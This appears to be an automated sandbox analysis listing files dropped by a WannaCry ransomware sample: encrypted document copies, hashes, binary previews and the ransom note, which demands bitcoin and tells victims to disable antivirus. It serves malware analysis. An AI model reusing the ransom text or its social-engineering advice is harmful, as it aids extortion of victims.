                                                                                                                                                                              Preview:WANACRY!....%}..<.O...f9z#j..u9......t...c%.Jz.k..}..@.....J^j...m.d)..Nf..V.D..P....h..o%ql.>]-...Z..6...NJ +.F....J .}2.4m..<.B".Pf..0!....-H|.....'.Z..^(.t.t...j7...j....\.y.J.7.G....m..).-`.x... .Z-....D....;..."-.$...C..Esx..oA.y4......JP'.....l.*.lx.............O..?..7.bhQd......KfA..y._B.].H...I-\.....u...>i.w....^....{.Ho...b{..t.....-@.a.W...8.tl...;l.*%.....C....p#.1...6.O...6_.{.........c-.S..!./lO}..%W:.s:m.|S..f2.c2:.(.a..Z....e5i.........w....W.P....gr..$y..{..+..9.R.....T.\...wb,.u.3V..w.Z..I..z....DO...uf...U....T.&~n.....lk.F:.r..h.#U...rw^$..!%4bx.J.w#.......ZzW....lb[./M..7...................HRl...I.o..........).9.%..7~b.(.9.z._p|..]f..=....:..T.IN.E>.f...R-O.Q...>..V....&....R..u.+,S......t.G,4..x.U.......tV+W...+e.8!E3.T.I..7....E.1...U....n..h.........>...;..K..oP8.b`.]..%..T.]...7c..R.@P.R...;....._]T9...)..j.D.e.;w.+.g..BPzH.6Q.Rk.|.'.....)uT.E.....uxF.U97.A.].\ncWI.....\.F~....]..4...fa9....=.1....I._.u.6'.>...o_.Z.

                                                                                                                                                                              C:\Users\user\Documents\GIGIYTFFYT.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.782679443314461
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:BH7xmthwkSUdY8sHNbZPoA3I3Y2B5iZd9YUxF6Ezl:2thPdGj8o2jiL9hFBl
                                                                                                                                                                              MD5:BA6C4DCDC89275822B674950F8456011
                                                                                                                                                                              SHA1:8D59930DD3F8B6E7F2B492C1F5C5B7E1E67B6D14
                                                                                                                                                                              SHA-256:7E00A11D4B497069F0EAE8CF7AABF0161D3E7C38E0D30D29228F2C04934E6CDB
                                                                                                                                                                              SHA-512:23C61EE22B8CFA35604EB1D7CC70D4063441E93626F5FBA775693BA6D4DC5225EF9ACF087B0BA35A4B5E03B8DB272D0B738BA02D7D324694202BC879C9F9C04D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Ra.,./J~.lj-..(H.(f..$...]^@@#..V..dW'BW..T..."y.....NX{W.q...=&..R.i.n....s.[...r...!%j..A...<.}edNz.x8..=a}.g....w.\y.Swx.F/.."....L.t.>.BM...XA.08....R87.O.O.Ay....w.G.Y!-. .....j....jN....7....D.M.aW.{L..N%.T...g.B.!...EY..?.`.x.p..v?#.Ag....X....7...".b..p7..~._......?.@..@..}#TN....7WO..-.....V..._.....ZAm...n.F.].Z.....C...B.....V....9..`.d...hcJ.....#.-.......w...:}......:..6f.....y...+..U.:.nb.?...s..#.?....iI]X.5..|%.f...i_T...7..u..vT3.P..,d......y...,I...,..?>.R.+.ucJ.|........q.io..m.K..cX,..T)..77..p.5..e.hV.w...R...i%.L.Z.8..C.B..R......Z........rL..m#.._.....K.).Bu."vjz......'8~.........H.3Aw.j..`.#R.4..O.rU.....o..<......y..n..#.)..=......^.=I.;.a..>.8;.o........t...4vh.#=.b.y15.z.}.....VA..<..'....\.........{.1.F8R:kc.*2.a..t...LdI.1....@gU<../n..CF..I.....4x\j..F...<.W..SG=...x...M.qC...H.U}T...v.....f...r..(...-e%.......U}...rz0..Z.............e......./d=..3..@...FG...r7....sk....Tb.E...t~/..g.U....f...L.y#..7.?]

                                                                                                                                                                              C:\Users\user\Documents\GIGIYTFFYT.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.864633998577067
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk/QfwsTPPNsH4aj+Edv8SXl94NDyUbcUwh6MVfypvK1h1HcbQLGw2aI6NY8Sp:bkYR9sH9jP8gUcdUwhVfypC1DcQO6Qp
                                                                                                                                                                              MD5:E2547AE2CD6056D8E3214514387E0626
                                                                                                                                                                              SHA1:8B7D3961D515A5F2840CABB83C3B8B2F23B63B58
                                                                                                                                                                              SHA-256:392453050588BAD1DE776BB03FD5F70828F8CAA463653516A5713A7027BADC34
                                                                                                                                                                              SHA-512:362FE5626D5510374BC4A800B78A53F416076C570CF0815721260EEC7DA7FF124810F81D61248C687E4522B98BF33A982450E77804820FBAC7EC33E74CEF1DA0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....*9....r..y[%..2..}..h..F/...V&+7.:[C.@.V......F.s.X.1.....}...I.y.-.....v.....|mC.....\.{.J....$..C(...........e..X.....D..A....e3.....+.......0.6[.<e..8c...s.9...BQ..T...M;.[....4.D.Jp.3.s ...#...LM5.....rV..&E.}.......=...w....$Cx..l.2I..k..............$.y,v.o...gv.H@6>p..p..0o..7g.i.<..YXC.d..[5..S.. ]6........tH..^&....NR_.~w.>%.?.1T.......L.....c..\......sQ...?m.:.6.f..W=......"..+......... z...h.. .!^.!.y+aU....1....P.%B...&V.)Z..0......I....:../p.*%cP..iT......U.tX..d.....B.7..c.....;.v.V....X..-T.8..;.waP.*..u.G.;.NkM..N...@..^k9.2.\B..Z#.0..6*.i...c.!..9=If...7.=~.0;.1}..l.].'`3x..V.V.P..k1p6.....THH.4mb......+@..x....*......K.,d..fD.58.}.hx....?.T.....n.|=F.$......E..-..Y.4fG............z._\~......I........y.....j..E.y.D...IH}%..4..j+.?|....f....\........N./...~w..=;....WIS..j.F......{.."..U..bWi....v?.....5..............$..f#..,1.,.......C....c"..C.."U...7..APd....O...}a...5....w.n.....e.)..UD.o.0..`%.S;.....k.....

                                                                                                                                                                              C:\Users\user\Documents\GIGIYTFFYT.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.864633998577067
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk/QfwsTPPNsH4aj+Edv8SXl94NDyUbcUwh6MVfypvK1h1HcbQLGw2aI6NY8Sp:bkYR9sH9jP8gUcdUwhVfypC1DcQO6Qp
                                                                                                                                                                              MD5:E2547AE2CD6056D8E3214514387E0626
                                                                                                                                                                              SHA1:8B7D3961D515A5F2840CABB83C3B8B2F23B63B58
                                                                                                                                                                              SHA-256:392453050588BAD1DE776BB03FD5F70828F8CAA463653516A5713A7027BADC34
                                                                                                                                                                              SHA-512:362FE5626D5510374BC4A800B78A53F416076C570CF0815721260EEC7DA7FF124810F81D61248C687E4522B98BF33A982450E77804820FBAC7EC33E74CEF1DA0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....*9....r..y[%..2..}..h..F/...V&+7.:[C.@.V......F.s.X.1.....}...I.y.-.....v.....|mC.....\.{.J....$..C(...........e..X.....D..A....e3.....+.......0.6[.<e..8c...s.9...BQ..T...M;.[....4.D.Jp.3.s ...#...LM5.....rV..&E.}.......=...w....$Cx..l.2I..k..............$.y,v.o...gv.H@6>p..p..0o..7g.i.<..YXC.d..[5..S.. ]6........tH..^&....NR_.~w.>%.?.1T.......L.....c..\......sQ...?m.:.6.f..W=......"..+......... z...h.. .!^.!.y+aU....1....P.%B...&V.)Z..0......I....:../p.*%cP..iT......U.tX..d.....B.7..c.....;.v.V....X..-T.8..;.waP.*..u.G.;.NkM..N...@..^k9.2.\B..Z#.0..6*.i...c.!..9=If...7.=~.0;.1}..l.].'`3x..V.V.P..k1p6.....THH.4mb......+@..x....*......K.,d..fD.58.}.hx....?.T.....n.|=F.$......E..-..Y.4fG............z._\~......I........y.....j..E.y.D...IH}%..4..j+.?|....f....\........N./...~w..=;....WIS..j.F......{.."..U..bWi....v?.....5..............$..f#..,1.,.......C....c"..C.."U...7..APd....O...}a...5....w.n.....e.)..UD.o.0..`%.S;.....k.....

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.813755722508038
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:krO8bEFcZxv3VT63UYD/dBs2FIE8axHPPT7/g:5mZZ3VTsU4FBv8adPPT74
                                                                                                                                                                              MD5:55AA18FE868E030D5110B05F977DB2A6
                                                                                                                                                                              SHA1:5D61C1E75E0E42B02082D13825BB7A6C0BAED166
                                                                                                                                                                              SHA-256:B9E6A4802AF0C2685079B86C50FE213509D93D9C1D25CC1999042A20808EE8D2
                                                                                                                                                                              SHA-512:0E7CB1CC7D2E65E8F14A96745862E74E958C23E0FAE9DB533E8547C7D4E4DD38ACC806F05937172037CE8525D1D89E2337BDAEAA793D21A8B8E2B7FC72907CC0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:G.wW..>.;...9.;6..p]G.8FF...R...4OWF..z|....c....N.E.7.t....c.L.O9.......?b...\|*....0...bb..........U@+RV...<.?._.Q...n9.=.F..@..y\.n..[(M...T..';%$.Gc%...Z....4m.N..V.>g.\1nl..R..8&d.C.....}.J)......c.^.f.p..X.?.ae...(.1fn.......%.3h..^~Dt.R..aJ.#..&..08.m.Z..54.\.&..X./^.K....G...s..8...%P..l._?.......z....Y.b.J..D..~....XC.=[.iA.=......X._6T.jx.n&.&+..,.;5n8...`..].'.:. .....g..\..[..R..Rh.V.._..mO.k.heY&....+.......mhVUQqm.i.t..$.F..GS......44.1].s&.\?6.gAF.wS...dE~...`..B9.....FD..z.6....y...&8...> ......k(.-?....K|..tr/f..N.3vJ..S..I.\[.....jWt...=..^)..>u......6..K.#>.p....%c.....w.y_..W".y;...|...s9..l..bgb....&..[.!..H.!*.C~.._..F2s-.O.Y..L../...uw.....t>"....^.f...+3.=@.7.d.....M.Ofk....}P.`jj....^..=...T..%tVlx#."I.L.\.S.@.{.............t....*.wH....L>th3.&i......NW{'.... .k....^$.H..(..#e:.....^...p~...........I.x.r.^...I...;..*..-..k...}...[.->7.e...R:...h..T.N..G.\..l.'.s.I.,5....p.R.@....U....!.!.1J'%R....]....c_.

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854663553383697
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkifVH4h0/LJ//AqmOG2t9wsblTeG1RxrsqooUKdRsAFEW9N6lS+fC8Ww3ZRWV9i:bkUNHAWG2t9wSTeG1HooJBFE86LvWskm
                                                                                                                                                                              MD5:A7C1ADA738BE1C58094A07ACBC28C054
                                                                                                                                                                              SHA1:3D6C2013933C0F58D208874C986E180025D7443C
                                                                                                                                                                              SHA-256:AC075E2FDA2954F767E2671E026199F8740FEE78E60E1ACEB7D771CB16A74E9C
                                                                                                                                                                              SHA-512:C4236ABFF486C7C4FC1C4E97AC1DF6341445CE9E2F3598C5F280B8B064871D05B961C8B7C49B092BB75DE4D0B0124E578874BE983C29E61A0E17B365DCBDD0B6
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......)....F.Ha...y......u...Xv.N...b.+.9a1!.`.....@..s..v[...jS.Q.R..y!.*yTOaR<e.xE.y.......y.|G....Y........f.....t....M..t.?b.o..f...-......>.'...9...u.U.....(..i.@......!o.P.?\F...p.d0.5.7..g....5.Q..@.Jx:%......S.k,R.f.2!.......sM..z.\~4b{..............Y.a...h....:O.........L.X.o}[."u..#....q...! .3.............^8....],62p*.....X..a.m..X1.G..*.NQU...5...O.%...\..,..[..r#`g5....X..:......|.!.7...2.....^Y.....r...+...v.}...j.0}...bg.;o....@.y.\..f..Q..4tik.,3..:.(p.......c......Px...h..U.s...y......<.`..s.F.... ..7qg......rR.....h..m.`.w.:.lLS.Lw..B..Q.a}Q.h.......Z.Tz.;.b~...O...f .){..H.W7.w.2....|.&.n..P.y@".....Z..B..%...u.......HC..4..tB..3HlnLO..`.. @T9....u.DK..=..u..p....wJ[..i...... m...hk1...=...s...Pt..*v5..H....f^u<..y<...i.^>...`.B.yd.o.3..`.'............$c..:........hL.HVX..jjQ.....J.G.d...9!....z?..BNYH[.I.j..e........P-@.....E\.H...q..4....L....;.......U..>.Bv.v....=.(>\.|.....;.49..t...k..nk.M.'...d.....

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854663553383697
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkifVH4h0/LJ//AqmOG2t9wsblTeG1RxrsqooUKdRsAFEW9N6lS+fC8Ww3ZRWV9i:bkUNHAWG2t9wSTeG1HooJBFE86LvWskm
                                                                                                                                                                              MD5:A7C1ADA738BE1C58094A07ACBC28C054
                                                                                                                                                                              SHA1:3D6C2013933C0F58D208874C986E180025D7443C
                                                                                                                                                                              SHA-256:AC075E2FDA2954F767E2671E026199F8740FEE78E60E1ACEB7D771CB16A74E9C
                                                                                                                                                                              SHA-512:C4236ABFF486C7C4FC1C4E97AC1DF6341445CE9E2F3598C5F280B8B064871D05B961C8B7C49B092BB75DE4D0B0124E578874BE983C29E61A0E17B365DCBDD0B6
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......)....F.Ha...y......u...Xv.N...b.+.9a1!.`.....@..s..v[...jS.Q.R..y!.*yTOaR<e.xE.y.......y.|G....Y........f.....t....M..t.?b.o..f...-......>.'...9...u.U.....(..i.@......!o.P.?\F...p.d0.5.7..g....5.Q..@.Jx:%......S.k,R.f.2!.......sM..z.\~4b{..............Y.a...h....:O.........L.X.o}[."u..#....q...! .3.............^8....],62p*.....X..a.m..X1.G..*.NQU...5...O.%...\..,..[..r#`g5....X..:......|.!.7...2.....^Y.....r...+...v.}...j.0}...bg.;o....@.y.\..f..Q..4tik.,3..:.(p.......c......Px...h..U.s...y......<.`..s.F.... ..7qg......rR.....h..m.`.w.:.lLS.Lw..B..Q.a}Q.h.......Z.Tz.;.b~...O...f .){..H.W7.w.2....|.&.n..P.y@".....Z..B..%...u.......HC..4..tB..3HlnLO..`.. @T9....u.DK..=..u..p....wJ[..i...... m...hk1...=...s...Pt..*v5..H....f^u<..y<...i.^>...`.B.yd.o.3..`.'............$c..:........hL.HVX..jjQ.....J.G.d...9!....z?..BNYH[.I.j..e........P-@.....E\.H...q..4....L....;.......U..>.Bv.v....=.(>\.|.....;.49..t...k..nk.M.'...d.....

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.807186986687978
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:AXNgKYFrEHdN2J5WAzgaPijOkMMzFjKc7P1YkNdxKIswZN0mMw8bLGlj:AeHFrEHdNGR18O0FWcb1YadxNfWC8fGl
                                                                                                                                                                              MD5:EFEF30B673FBCB0DC1784304DF7F5A22
                                                                                                                                                                              SHA1:2A0ADF8C9BA5A976D066E93E23D76368186C4B83
                                                                                                                                                                              SHA-256:409F6900936988396ED78AA7955AA4707E2A1966F78C4D67C79A8C734A958CC4
                                                                                                                                                                              SHA-512:49CB9D1196BDF2E95E5CF004D186E8191F0C0147C760EC882582D918F3F2E96C1637187FABE5633038E6A2B41B7B23E37BA1AFECC671052400A02E16199067D0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:....(.r~..K...v......X.2..K.V..U...K...z...2.JM!..Y7u@....O<...TU...5..U..egYg.U..p..=}.....S>M..+...I\>.-.am.y.4/Y..Y,..Nk.;3..Nm.V..=........D..G......Emn.>|u>..Lg..@cT..j.6.PG....+c:d..Pt... .:..<?.)..Q...N.h...)...W^.E..h..._..h5..45......hF&..{+.z...`...3s...a....UtB.^..t.........h..*....\.}g...j.}.,.J.SPHS~x.*......c..j/.+2.H.HM.!..=......bG......;cA....J...ea...2.Z.=.fK..r..&.$9D...K.G...........:F.GX._QO......%.V..xCyfQ....[L..{{>Vy.H...|01j.,..6...r._..%~..q+.aLn......b.5<...Y%{;.}..>...;.,#.Z....)...i..&Z..{.~.f...Lf....%6.b....RHV~.n..@..J2u.>.Y...mcj....-._.7....O......m.p2....\....[...8R..!g.......`t.......-C..Wx.`~s.l2.........;..I...z....l.....'H.....2..Cf.D.c+.%.`..3:..^<h..Z....U....&....b:.M.(1j#...y.4.U..._.;.............2.......D~..)Y+j.U... ..=..u..Ix..3..=rI_.&.tf.F0.B5T...c..(..X..L .......2|...>].`x..........Gbi...Q'....D..J.D.5.q.^O..<.......4...-y...Q=K.As4.Kt.<.L....0.*.s.J....Bx.O...f#..W...q\...R...?@tO23

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.838274648220887
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkC10yLAE1N9b2SROosoJ5nIHJKzkdbz57JMeUhSGlyS11ABEp0QgIxGcVP2HaZ:bkC1tLAE1NVEof/eJPueUhSqyqeBEp0C
                                                                                                                                                                              MD5:8A005BA29A20B9D8A49B885671242E08
                                                                                                                                                                              SHA1:022DA7DC9090315CEA94AE9978AE923B72B76549
                                                                                                                                                                              SHA-256:C586F84791E064E75B11A6D24A87FE1149D34E42B73FF84DF46EB02DCBF916BE
                                                                                                                                                                              SHA-512:302C01393EC1C95E60D4E4C9BA987096DFD85C78A13159F084CB94DFC2B0F0A8AB39ADD45C4FCF241F68C64FFEBC354ED35457365774EB870EE099BBC04DB59A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........G.....g.......]l....hF..0I...Zs.%b...4s.0i.Mr.l....XZ...\.F..Vi.0...7............Cr...=2.Vj..f...rl..~.../.d...`..M..........$2.3.O}#^..B0.W/.....g...{R.!0_.t..>@..5K.6..Q}u.i4.]YH..k...(BE....].O.3G./d)~_.B..9Nx''IJ.....R...BU#....7GQHm...............Ujz/...qR...x.@c.......s~>S..%.T_p..n.J9GK:..q.tv...:,.zoUA..S.@..W./.'.......Z..e9dc<TM.EO....f..;r]9?*.%=S......0`....x5t.?F...>..5G'#z:....@].....d.E..D.L...7o..`..<.Iq(;Y...^.<..{....b..T...NI......?.......k.VO...r....M....}E...=fZd)...M.j.x.?.3UT.;Xs..(.&.........Fa.N.............G....1...A.L....`K..%8:...*..q......u@....1.l...s.1.o-.?q.y.@G.(t.Z.........9..'..S....l.d.8r%....6..J...bw\..Q.|7.......4.T.m/.y}....9...?.$.V..fFt$`..!.r.......v....E..).}...UM ...0.i..\...T........a..W...0.C_...Lo.1.........8...w.[.A...../.....P.ZV.|..c..w._.~}......g.....1...="(&.n!.Y%4..?..g..^SIz.H.._q.W.t.d.J.'+7q.-...g.....F......8C.Hw......"...Z,..\..Q..Bs99..N...........a.6.../..cd......LWM

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.838274648220887
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkC10yLAE1N9b2SROosoJ5nIHJKzkdbz57JMeUhSGlyS11ABEp0QgIxGcVP2HaZ:bkC1tLAE1NVEof/eJPueUhSqyqeBEp0C
                                                                                                                                                                              MD5:8A005BA29A20B9D8A49B885671242E08
                                                                                                                                                                              SHA1:022DA7DC9090315CEA94AE9978AE923B72B76549
                                                                                                                                                                              SHA-256:C586F84791E064E75B11A6D24A87FE1149D34E42B73FF84DF46EB02DCBF916BE
                                                                                                                                                                              SHA-512:302C01393EC1C95E60D4E4C9BA987096DFD85C78A13159F084CB94DFC2B0F0A8AB39ADD45C4FCF241F68C64FFEBC354ED35457365774EB870EE099BBC04DB59A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........G.....g.......]l....hF..0I...Zs.%b...4s.0i.Mr.l....XZ...\.F..Vi.0...7............Cr...=2.Vj..f...rl..~.../.d...`..M..........$2.3.O}#^..B0.W/.....g...{R.!0_.t..>@..5K.6..Q}u.i4.]YH..k...(BE....].O.3G./d)~_.B..9Nx''IJ.....R...BU#....7GQHm...............Ujz/...qR...x.@c.......s~>S..%.T_p..n.J9GK:..q.tv...:,.zoUA..S.@..W./.'.......Z..e9dc<TM.EO....f..;r]9?*.%=S......0`....x5t.?F...>..5G'#z:....@].....d.E..D.L...7o..`..<.Iq(;Y...^.<..{....b..T...NI......?.......k.VO...r....M....}E...=fZd)...M.j.x.?.3UT.;Xs..(.&.........Fa.N.............G....1...A.L....`K..%8:...*..q......u@....1.l...s.1.o-.?q.y.@G.(t.Z.........9..'..S....l.d.8r%....6..J...bw\..Q.|7.......4.T.m/.y}....9...?.$.V..fFt$`..!.r.......v....E..).}...UM ...0.i..\...T........a..W...0.C_...Lo.1.........8...w.[.A...../.....P.ZV.|..c..w._.~}......g.....1...="(&.n!.Y%4..?..g..^SIz.H.._q.W.t.d.J.'+7q.-...g.....F......8C.Hw......"...Z,..\..Q..Bs99..N...........a.6.../..cd......LWM

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\EIVQSAOTAQ.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.827808357138415
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bSYNb8+ge3F1DstvRDafuuYI/RQpjRaxtXldsBVZBrF9:bSwb8w3FVEvRDouRVpjRafXldsBzF
                                                                                                                                                                              MD5:7A2FA776A7AF9F25C760F47329C4A451
                                                                                                                                                                              SHA1:B96B514839D75E808D68B7A3C41C9B7E8815D657
                                                                                                                                                                              SHA-256:4AF1FC51198B200A9887FED6F8B285FDDF554F3E3D1581D648E7FB8937A89377
                                                                                                                                                                              SHA-512:88953D030CC8FE5CF424CC91839B931005B6410976AECF1F2F4BF43FB7CAEDFC55A76069C3AC23455AD5A159B6731659D7668DBA6DD8DFF881E0C1CC8B4E28D0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.87).R....}s:....+.....N....2..T.M......q%...YEi....g......y..f.(.R.b....j...2-..y.o..D....%...*..I|o>6'.6L..R.$q.....=4....UKm...M.9B.`?9.m..Bx.b..xh.*...a..6...{..Er.Z.;.'q...w.....<T...|..p..?....X.;4...........L...l.....6v....g4...%.1C,...=...c..x..O.....9.V.O.......N..P.5J.:.N...t._.L$....'.5"r..S.B!.}.8n0.(:@fDGq.j3..8c,J....._A...j3*...)...........5..@{.e..'.F...c....y...w..[.[{....F........J!Kw-.Y..../E..x.]..N*B..../Q.-.T...q.$..6v3c.....,.. ..vd......Q...=......b.H|...R...3Ze~*....lC@a.......o....F.(.....K....)...$'..S.Yb...'.dh9@....G..n.hD...B.b(.....u}..[..K.)E..r.........aW...y..].`.Y...hKZ.0.1.#:..wVJ_P.T.T.....a,.<...I.......p.s`..E..My..\..+.X........f..+.L..A....n...i.}!.F..)G..g.....:4...%py...gFn.}....g..P..;.>.J^.....&w..O...oK...=.9U3.w.$...E.>........d.E.........\.$u7..^..M...p.`.\N:.H..PBN.zd..O..5..C...w?.%!..<T8.:.Tc..D..+'..#q>.....L....+.e..Uv<p....:...N..w''.V..I..m..iPU0o)..."....t.\....Y..hq.....aT.6.%.k...f

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\EIVQSAOTAQ.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8458981105200625
                                                                                                                                                                              Encrypted:false
